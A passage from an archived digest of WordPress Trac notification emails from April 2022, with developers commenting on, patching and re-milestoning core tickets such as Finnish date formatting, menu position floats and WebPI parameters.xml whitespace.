-------------------------------------+----------------------------- Reporter: carlduranleau | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Login and Registration | Version: 5.9.1 Severity: normal | Resolution: invalid Keywords: reporter-feedback close | Focuses: administration -------------------------------------+----------------------------- Changes (by johnbillion): * status: new => closed * resolution: => invalid * milestone: Awaiting Review => Comment: Thanks for the update @carlduranleau -- Ticket URL: <https://core.trac.wordpress.org/ticket/55230#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 16:54:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 16:54:12 -0000 Subject: [wp-trac] [WordPress Trac] #53621: The `wp/v2/block-directory/search` schema is incorrect In-Reply-To: <055.293486873efa117d426797517322f2fe@wordpress.org> References: <055.293486873efa117d426797517322f2fe@wordpress.org> Message-ID: <070.79aadd72713377c6187de86316822637@wordpress.org> #53621: The `wp/v2/block-directory/search` schema is incorrect --------------------------+-------------------------- Reporter: johnbillion | Owner: johnbillion Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: REST API | Version: 5.5 Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: rest-api --------------------------+-------------------------- Changes (by johnbillion): * owner: (none) => johnbillion * status: new => closed * resolution: => fixed Comment: In [changeset:"53315" 53315]: {{{ #!CommitTicketReference repository="" revision="53315" REST API: Correct the schema for the `wp/v2/block-directory/search` endpoint. Props zieladam, TimothyBlynJacobs, spacedmonkey, johnbillion Fixes #53621 }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/53621#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 17:46:23 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 17:46:23 -0000 Subject: [wp-trac] [WordPress Trac] #55434: About Page for 6.0 Release In-Reply-To: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> References: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> Message-ID: <069.f3624f452d87d9c88a9cb04554b90a99@wordpress.org> #55434: About Page for 6.0 Release -------------------------------------+------------------------------------- Reporter: webcommsat | Owner: marybaum Type: task (blessed) | Status: assigned Priority: high | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: Keywords: needs-message-strategy | Focuses: ui, docs, needs-design | administration, ui-copy -------------------------------------+------------------------------------- Comment (by ryelle): From how I read it, I don't think there is a "for developers" section in the page this release. The "Learn more about WordPress 6.0" headline is also the section header for the last three columns too. @fcoveram I like the design :) Could you export those images? I can copy out the header & icons since those will be SVGs, but I have trouble exporting images from Figma. Are the other section headers in [https://www.figma.com/file/ZizhN0ztdgGYYuatX2w85s/About-Page-6.0?node- id=670%3A3057 the Artwork ideas page] finished? I see they're missing the subtitles, so those will need to be added back in, but I can grab the graphics from there for now. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55434#comment:27> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 19:16:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 19:16:12 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.269352cb2701ce85f61aadf36c1eaf15@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by johnbillion): In [changeset:"53316" 53316]: {{{ #!CommitTicketReference repository="" revision="53316" Docs: Corrections and improvements to docblocks for function and hooks relating to fatal error handling. See #54729 }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:98> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 19:23:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 19:23:12 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.2b2134e373c49cc94de430756118435c@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by johnbillion): In [changeset:"53317" 53317]: {{{ #!CommitTicketReference repository="" revision="53317" Docs: Formatting corrections for various docblocks. See #54729 }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:99> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 19:27:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 19:27:16 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.cdba27be0bf0baf9bda220e91ad77833@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by johnbillion): In [changeset:"53318" 53318]: {{{ #!CommitTicketReference repository="" revision="53318" Docs: Improve documentation of the `walker` argument for various functions. See #54729 }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:100> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 22:49:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 22:49:19 -0000 Subject: [wp-trac] [WordPress Trac] #49012: Date format output incorrect in Finnish In-Reply-To: <049.25d4ebd2dd844718e7cddd8e745f5682@wordpress.org> References: <049.25d4ebd2dd844718e7cddd8e745f5682@wordpress.org> Message-ID: <064.4226482a233dd1571ef99b69a451608d@wordpress.org> #49012: Date format output incorrect in Finnish --------------------------+------------------------------ Reporter: kipex | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Date/Time | Version: 5.3.1 Severity: normal | Resolution: Keywords: | Focuses: --------------------------+------------------------------ Comment (by Jyria): This is still present in this day in WP 5.9.3. Even when I try to output this variable: {{{#!php <?php $date_of_birth = date_i18n( 'F j', strtotime( '2022-11-11' ) ); }}} I get: 11 marraskuun instead of desired: Marraskuun 11 In the same site, I tried different languages. When the site is set to english f.e. the out matches my date_i18n: November 11 Something is wrong here for finnish, that even overwrites custom formatting via date_i18n. Anyone still on this? -- Ticket URL: <https://core.trac.wordpress.org/ticket/49012#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 00:50:08 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 00:50:08 -0000 Subject: [wp-trac] [WordPress Trac] #40927: Passing a float as the position in add_menu_page can override other menu items In-Reply-To: <054.3952f5b90c4dd00f8f2ab13814b18548@wordpress.org> References: <054.3952f5b90c4dd00f8f2ab13814b18548@wordpress.org> Message-ID: <069.d6cc1a2ad543950a2b9306f6eb509d78@wordpress.org> #40927: Passing a float as the position in add_menu_page can override other menu items -------------------------------------------------+------------------------- Reporter: justinbusa | Owner: | SergeyBiryukov Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: Administration | Version: 4.8 Severity: normal | Resolution: Keywords: has-patch dev-feedback needs- | Focuses: testing has-unit-tests | administration -------------------------------------------------+------------------------- Comment (by peterwilsoncc): Replying to [comment:39 david.binda]: > I wonder, is this change intentional? It is intentional to improve performance. The re-ordered code is pretty consistently 10 times faster than the old code. See https://3v4l.org/kaR8b#v7.4.29. The results do differ but given it's a pseudorandom number seeded by the hash, I figured it was worth the performance improvement. -- Ticket URL: <https://core.trac.wordpress.org/ticket/40927#comment:40> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 00:53:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 00:53:21 -0000 Subject: [wp-trac] [WordPress Trac] #31920: oEmbed: Support YouTube timestamps as hashes In-Reply-To: <059.08d956cd85e2dd329599ab1b62df89fe@wordpress.org> References: <059.08d956cd85e2dd329599ab1b62df89fe@wordpress.org> Message-ID: <074.5d8ec41bc8b9f4ba68561642e01c4a1b@wordpress.org> #31920: oEmbed: Support YouTube timestamps as hashes -------------------------------------------------+------------------------- Reporter: danielbachhuber | Owner: | peterwilsoncc Type: enhancement | Status: closed Priority: normal | Milestone: Component: Embeds | Version: Severity: normal | Resolution: worksforme Keywords: needs-patch needs-unit-tests good- | Focuses: first-bug close | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * status: assigned => closed * resolution: => worksforme * milestone: Future Release => Comment: Thanks for retesting folks. It looks like YouTube have fixed this with their embed code so I will close the ticket. `worksforme` seems the closest fit even though it didn't work at the time of the report. -- Ticket URL: <https://core.trac.wordpress.org/ticket/31920#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 03:36:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 03:36:24 -0000 Subject: [wp-trac] [WordPress Trac] #52356: npm install does not work on wordpress-trunk on new Mac M1's In-Reply-To: <056.8ff11d30f185d29b5edcf30954ab9e5f@wordpress.org> References: <056.8ff11d30f185d29b5edcf30954ab9e5f@wordpress.org> Message-ID: <071.d76ef4bfd1de45606a74863ee3bbff53@wordpress.org> #52356: npm install does not work on wordpress-trunk on new Mac M1's ------------------------------------+------------------------------ Reporter: justinahinon | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Build/Test Tools | Version: 5.7 Severity: normal | Resolution: Keywords: has-patch dev-reviewed | Focuses: ------------------------------------+------------------------------ Changes (by afragen): * keywords: has-patch dev-feedback => has-patch dev-reviewed Comment: I have tested @johnbillion’s PR and it works great. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52356#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 03:42:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 03:42:50 -0000 Subject: [wp-trac] [WordPress Trac] #55437: Bugfix: Display correct theme in site editor In-Reply-To: <054.2c8a29c0d20871f5ff204327eeee5dbc@wordpress.org> References: <054.2c8a29c0d20871f5ff204327eeee5dbc@wordpress.org> Message-ID: <069.c6c398a1d95047fe54f1d1a418d5fd9a@wordpress.org> #55437: Bugfix: Display correct theme in site editor -------------------------------------------------+------------------------- Reporter: ptahdunbar | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: Themes | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch needs-testing 2nd-opinion | Focuses: ui, needs-unit-tests | administration -------------------------------------------------+------------------------- Changes (by costdev): * keywords: has-patch needs-testing 2nd-opinion => has-patch needs-testing 2nd-opinion needs-unit-tests * version: trunk => 5.9 * milestone: 6.0 => 6.1 Comment: As we're approaching RC1 and this still needs testing and unit tests, I'm moving this ticket to the 6.1 milestone and adding `needs-unit-tests`. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55437#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 03:51:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 03:51:33 -0000 Subject: [wp-trac] [WordPress Trac] #14179: Theme asking to update (theme with same name on WordPress.org) In-Reply-To: <058.1888876aa9afb2ce12323566fee2c44f@wordpress.org> References: <058.1888876aa9afb2ce12323566fee2c44f@wordpress.org> Message-ID: <073.a51d0ff7148a5998fa54371b0d9fb3db@wordpress.org> #14179: Theme asking to update (theme with same name on WordPress.org) -------------------------------------------------+------------------------- Reporter: design_dolphin | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: Severity: normal | Resolution: Keywords: has-patch needs-unit-tests needs- | Focuses: testing dev-feedback | -------------------------------------------------+------------------------- Changes (by costdev): * Attachment "14179-UpdateURI-header-refresh.diff" added. Refresh against `trunk`. -- Ticket URL: <https://core.trac.wordpress.org/ticket/14179> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 03:53:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 03:53:15 -0000 Subject: [wp-trac] [WordPress Trac] #14179: Theme asking to update (theme with same name on WordPress.org) In-Reply-To: <058.1888876aa9afb2ce12323566fee2c44f@wordpress.org> References: <058.1888876aa9afb2ce12323566fee2c44f@wordpress.org> Message-ID: <073.d8cffd7bc90e0511a9c870fa911aa03d@wordpress.org> #14179: Theme asking to update (theme with same name on WordPress.org) -------------------------------------------------+------------------------- Reporter: design_dolphin | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: Upgrade/Install | Version: Severity: normal | Resolution: Keywords: has-patch needs-unit-tests needs- | Focuses: testing dev-feedback | -------------------------------------------------+------------------------- Changes (by costdev): * milestone: 6.0 => 6.1 Comment: As we're approaching RC1, [https://core.trac.wordpress.org/attachment/ticket/14179/14179-UpdateURI- header-refresh.diff 14179-UpdateURI-header-refresh.diff] still needs testing, unit tests and the ticket may need more feedback. Moving this to the 6.1 milestone for work to continue in the next cycle. -- Ticket URL: <https://core.trac.wordpress.org/ticket/14179#comment:92> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 03:55:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 03:55:40 -0000 Subject: [wp-trac] [WordPress Trac] #40927: Passing a float as the position in add_menu_page can override other menu items In-Reply-To: <054.3952f5b90c4dd00f8f2ab13814b18548@wordpress.org> References: <054.3952f5b90c4dd00f8f2ab13814b18548@wordpress.org> Message-ID: <069.05da278c5c911004e0389011b83dc829@wordpress.org> #40927: Passing a float as the position in add_menu_page can override other menu items -------------------------------------------------+------------------------- Reporter: justinbusa | Owner: | SergeyBiryukov Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: Administration | Version: 4.8 Severity: normal | Resolution: Keywords: has-patch dev-feedback needs- | Focuses: testing has-unit-tests close | administration -------------------------------------------------+------------------------- Changes (by costdev): * keywords: has-patch dev-feedback needs-testing has-unit-tests => has- patch dev-feedback needs-testing has-unit-tests close Comment: > The results do differ but given it's a pseudorandom number seeded by the hash, I figured it was worth the performance improvement. I agree, and propose that we `close` this ticket again as fixed. What do you think @davidbinda? -- Ticket URL: <https://core.trac.wordpress.org/ticket/40927#comment:41> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 04:05:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 04:05:58 -0000 Subject: [wp-trac] [WordPress Trac] #47513: JavaScript TypeError when Video Playlists use native video elements In-Reply-To: <051.e1395a3430ffb65f830023f935afff26@wordpress.org> References: <051.e1395a3430ffb65f830023f935afff26@wordpress.org> Message-ID: <066.fd73a62b156326b6905f9041e2d297cd@wordpress.org> #47513: JavaScript TypeError when Video Playlists use native video elements ---------------------------------------+------------------------- Reporter: afercia | Owner: afercia Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: has-screenshots has-patch | Focuses: javascript ---------------------------------------+------------------------- Comment (by costdev): Hi @afercia, I can't seem to reproduce this following the steps in the ticket's description. There are no errors in my console and the `.ogv` file plays as expected. I tested with: - an `.ogv` and an `.mp4` in a video playlist. - using Classic Editor. - Twenty Twenty-One and Twenty Fourteen. - Chrome and Firefox. Can you run another test on this to see if the issue still occurs? -- Ticket URL: <https://core.trac.wordpress.org/ticket/47513#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 04:08:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 04:08:14 -0000 Subject: [wp-trac] [WordPress Trac] #48244: script-loader.php Need to use _n() when more than one results are found In-Reply-To: <056.2191c3b90b3aff4811ada41a184b85a2@wordpress.org> References: <056.2191c3b90b3aff4811ada41a184b85a2@wordpress.org> Message-ID: <071.ecb6d2aa905ac4a2e7ef28e25ade82b4@wordpress.org> #48244: script-loader.php Need to use _n() when more than one results are found --------------------------------------+------------------------- Reporter: tobifjellner | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: Editor | Version: 4.5 Severity: normal | Resolution: Keywords: good-first-bug has-patch | Focuses: javascript --------------------------------------+------------------------- Changes (by costdev): * milestone: 6.0 => 6.1 Comment: As we are past soft-string freeze and now approaching RC1, I'm moving this ticket to the 6.1 milestone for remaining work to be carried out in the next cycle. -- Ticket URL: <https://core.trac.wordpress.org/ticket/48244#comment:20> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 04:12:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 04:12:14 -0000 Subject: [wp-trac] [WordPress Trac] #49532: Clicking "preview" multiple times on a post causes an identical autosave revision to be created and destroyed repeatedly In-Reply-To: <053.364a785792a87535222f5d05bbc9f131@wordpress.org> References: <053.364a785792a87535222f5d05bbc9f131@wordpress.org> Message-ID: <068.c631e5fbe98ac2d4c9324ec51384ed6e@wordpress.org> #49532: Clicking "preview" multiple times on a post causes an identical autosave revision to be created and destroyed repeatedly -------------------------------------------------+------------------------- Reporter: inwerpsel | Owner: | adamsilverstein Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.1 Component: Revisions | Version: 5.4 Severity: normal | Resolution: Keywords: has-patch reporter-feedback needs- | Focuses: rest-api, testing | performance -------------------------------------------------+------------------------- Changes (by costdev): * milestone: 6.0 => 6.1 Comment: As we are approaching RC1 and this ticket still needs testing, I'm moving this to the 6.1 milestone so that this will hopefully make it during the next cycle. -- Ticket URL: <https://core.trac.wordpress.org/ticket/49532#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 04:59:05 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 04:59:05 -0000 Subject: [wp-trac] [WordPress Trac] #50615: Editor: Create standalone JSON schema for block type definition In-Reply-To: <050.7c1c06591c3297de5061cd24a8611757@wordpress.org> References: <050.7c1c06591c3297de5061cd24a8611757@wordpress.org> Message-ID: <065.d62d120ec0508076ed15dd2f57db52b7@wordpress.org> #50615: Editor: Create standalone JSON schema for block type definition -----------------------------+------------------------------ Reporter: gziolo | Owner: (none) Type: feature request | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: Severity: normal | Resolution: Keywords: | Focuses: rest-api -----------------------------+------------------------------ Comment (by gziolo): We also have a JSON schema for block.json files at: https://github.com/WordPress/gutenberg/blob/trunk/schemas/json/block.json -- Ticket URL: <https://core.trac.wordpress.org/ticket/50615#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 05:23:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 05:23:11 -0000 Subject: [wp-trac] [WordPress Trac] #52820: Possible logic error in wp_trim_excerpt() In-Reply-To: <052.65b103ff76efb414e84b2d16320f3309@wordpress.org> References: <052.65b103ff76efb414e84b2d16320f3309@wordpress.org> Message-ID: <067.96d40f86872cca370b0e0698c2934094@wordpress.org> #52820: Possible logic error in wp_trim_excerpt() -------------------------------------------------+------------------------- Reporter: theMikeD | Owner: | SergeyBiryukov Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests reporter- | Focuses: feedback | -------------------------------------------------+------------------------- Changes (by costdev): * keywords: has-patch has-unit-tests => has-patch has-unit-tests reporter- feedback Comment: As this is still being discussed and we're approaching RC1, I'm going to move this ticket to ''Future Release''. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52820#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 05:23:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 05:23:17 -0000 Subject: [wp-trac] [WordPress Trac] #52820: Possible logic error in wp_trim_excerpt() In-Reply-To: <052.65b103ff76efb414e84b2d16320f3309@wordpress.org> References: <052.65b103ff76efb414e84b2d16320f3309@wordpress.org> Message-ID: <067.e485618ea192e9511a233cd6a69dd8d6@wordpress.org> #52820: Possible logic error in wp_trim_excerpt() -------------------------------------------------+------------------------- Reporter: theMikeD | Owner: | SergeyBiryukov Type: defect (bug) | Status: reviewing Priority: normal | Milestone: Future | Release Component: Posts, Post Types | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests reporter- | Focuses: feedback | -------------------------------------------------+------------------------- Changes (by costdev): * milestone: 6.0 => Future Release -- Ticket URL: <https://core.trac.wordpress.org/ticket/52820#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 05:26:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 05:26:31 -0000 Subject: [wp-trac] [WordPress Trac] #52028: Twenty Fifteen: H5 and H6 headings have the same font size In-Reply-To: <049.a134b1e283dcba945e47be1b5eab0e4f@wordpress.org> References: <049.a134b1e283dcba945e47be1b5eab0e4f@wordpress.org> Message-ID: <064.37e8cb483dff8843f681e8a5407a66c9@wordpress.org> #52028: Twenty Fifteen: H5 and H6 headings have the same font size -------------------------------------------------+------------------------- Reporter: poena | Owner: (none) Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 4.1 Severity: normal | Resolution: Keywords: good-first-bug has-patch has- | Focuses: css screenshots | -------------------------------------------------+------------------------- Comment (by costdev): @poena and @sabernhardt, will either/both of you have time to review the current patches before RC1 to see what you think is the best approach, or should we move this to a different milestone such as 6.1 or Future Release? -- Ticket URL: <https://core.trac.wordpress.org/ticket/52028#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 05:26:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 05:26:52 -0000 Subject: [wp-trac] [WordPress Trac] #52028: Twenty Fifteen: H5 and H6 headings have the same font size In-Reply-To: <049.a134b1e283dcba945e47be1b5eab0e4f@wordpress.org> References: <049.a134b1e283dcba945e47be1b5eab0e4f@wordpress.org> Message-ID: <064.ddf970e63e8aca18f248c7b3f70e478d@wordpress.org> #52028: Twenty Fifteen: H5 and H6 headings have the same font size -------------------------------------------------+------------------------- Reporter: poena | Owner: (none) Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 4.1 Severity: normal | Resolution: Keywords: good-first-bug has-patch has- | Focuses: css screenshots dev-feedback | -------------------------------------------------+------------------------- Changes (by costdev): * keywords: good-first-bug has-patch has-screenshots => good-first-bug has-patch has-screenshots dev-feedback -- Ticket URL: <https://core.trac.wordpress.org/ticket/52028#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 06:14:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 06:14:52 -0000 Subject: [wp-trac] [WordPress Trac] #54770: The term "Current Theme" is ambiguous In-Reply-To: <053.98abc1a7fac13c318ce11d048f7e3568@wordpress.org> References: <053.98abc1a7fac13c318ce11d048f7e3568@wordpress.org> Message-ID: <068.4f50a08a3b63f003c45bc8e145b85995@wordpress.org> #54770: The term "Current Theme" is ambiguous -------------------------+--------------------------------- Reporter: Presskopp | Owner: audrasjb Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Themes | Version: Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: ui, administration -------------------------+--------------------------------- Changes (by costdev): * status: reopened => closed * resolution: => fixed Comment: This is an enhancement ticket that also touches strings. As we are past feature freeze and soft string freeze, I'm going to close this as fixed so that the original commit stays on the correct milestone. Further discussion/changes should be done in a follow-up ticket. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54770#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 11:33:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 11:33:46 -0000 Subject: [wp-trac] [WordPress Trac] #54725: Test tool and unit test improvements for 6.0 In-Reply-To: <058.ef48a8e18f6094886e999723ee87a81d@wordpress.org> References: <058.ef48a8e18f6094886e999723ee87a81d@wordpress.org> Message-ID: <073.db7270ca023503a7e446f00301fdf9b4@wordpress.org> #54725: Test tool and unit test improvements for 6.0 --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53319" 53319]: {{{ #!CommitTicketReference repository="" revision="53319" Tests: Ignore EOL differences in Webfonts API tests. Unix vs. Windows EOL style mismatches can cause misleading failures in tests using the heredoc syntax (`<<<`) or multiline strings as the expected result. Includes renaming the test class to match the [https://make.wordpress.org/core/handbook/testing/automated-testing /writing-phpunit-tests/#naming-and-organization naming conventions]. Follow-up to [46612], [48443], [48466], [49691], [51135], [53282]. See #54725. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54725#comment:28> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 14:54:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 14:54:04 -0000 Subject: [wp-trac] [WordPress Trac] #53377: WebPI parameters.xml whitespace In-Reply-To: <050.1850db49ba92a99cabd2beafb11b9a8d@wordpress.org> References: <050.1850db49ba92a99cabd2beafb11b9a8d@wordpress.org> Message-ID: <065.a2b786071a9b5f489bc7f35234c79ca9@wordpress.org> #53377: WebPI parameters.xml whitespace ------------------------------------+--------------------- Reporter: fusecp | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: 5.1 Severity: normal | Resolution: Keywords: has-patch dev-feedback | Focuses: ------------------------------------+--------------------- Changes (by SergeyBiryukov): * Attachment "53377.3.patch" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53377> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 15:35:08 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 15:35:08 -0000 Subject: [wp-trac] [WordPress Trac] #53377: WebPI parameters.xml whitespace In-Reply-To: <050.1850db49ba92a99cabd2beafb11b9a8d@wordpress.org> References: <050.1850db49ba92a99cabd2beafb11b9a8d@wordpress.org> Message-ID: <065.303cfa132bd2385fe1dec04427c4816d@wordpress.org> #53377: WebPI parameters.xml whitespace ------------------------------------+--------------------- Reporter: fusecp | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: 5.1 Severity: normal | Resolution: Keywords: has-patch dev-feedback | Focuses: ------------------------------------+--------------------- Comment (by SergeyBiryukov): It looks like [attachment:53377.2.patch] updates `defaultValue` for some parameters, but not for others. [attachment:"53377.3.patch"] is a refresh that consistently updates all the parameters. I think this is safe to commit, as the current file doesn't seem to work anyway after [42343] / #41057. It was not quite clear to me whether there are any further steps involved for newer WebPI versions to work again, besides updating this file. After some investigation, it looks like the file is included in IIS builds, as seen in the last column in the tables on the [https://wordpress.org/download/releases/ Releases] page. Looking at the previous update in [26870] / #26696, as well as the [https://core.trac.wordpress.org/log/branches/iis/parameters.xml complete file history], there are no other steps mentioned, so let's go with this for now, comment:7 appears to confirm that updating the file should be enough. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53377#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 30 15:41:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 30 Apr 2022 15:41:07 -0000 Subject: [wp-trac] [WordPress Trac] #53377: WebPI parameters.xml whitespace In-Reply-To: <050.1850db49ba92a99cabd2beafb11b9a8d@wordpress.org> References: <050.1850db49ba92a99cabd2beafb11b9a8d@wordpress.org> Message-ID: <065.9127f733a1606e6366ff845044ea8053@wordpress.org> #53377: WebPI parameters.xml whitespace ------------------------------------+----------------------------- Reporter: fusecp | Owner: SergeyBiryukov Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: General | Version: 5.1 Severity: normal | Resolution: fixed Keywords: has-patch dev-feedback | Focuses: ------------------------------------+----------------------------- Changes (by SergeyBiryukov): * owner: (none) => SergeyBiryukov * status: new => closed * resolution: => fixed Comment: In [changeset:"53320" 53320]: {{{ #!CommitTicketReference repository="" revision="53320" General: Account for WordPress coding standards in 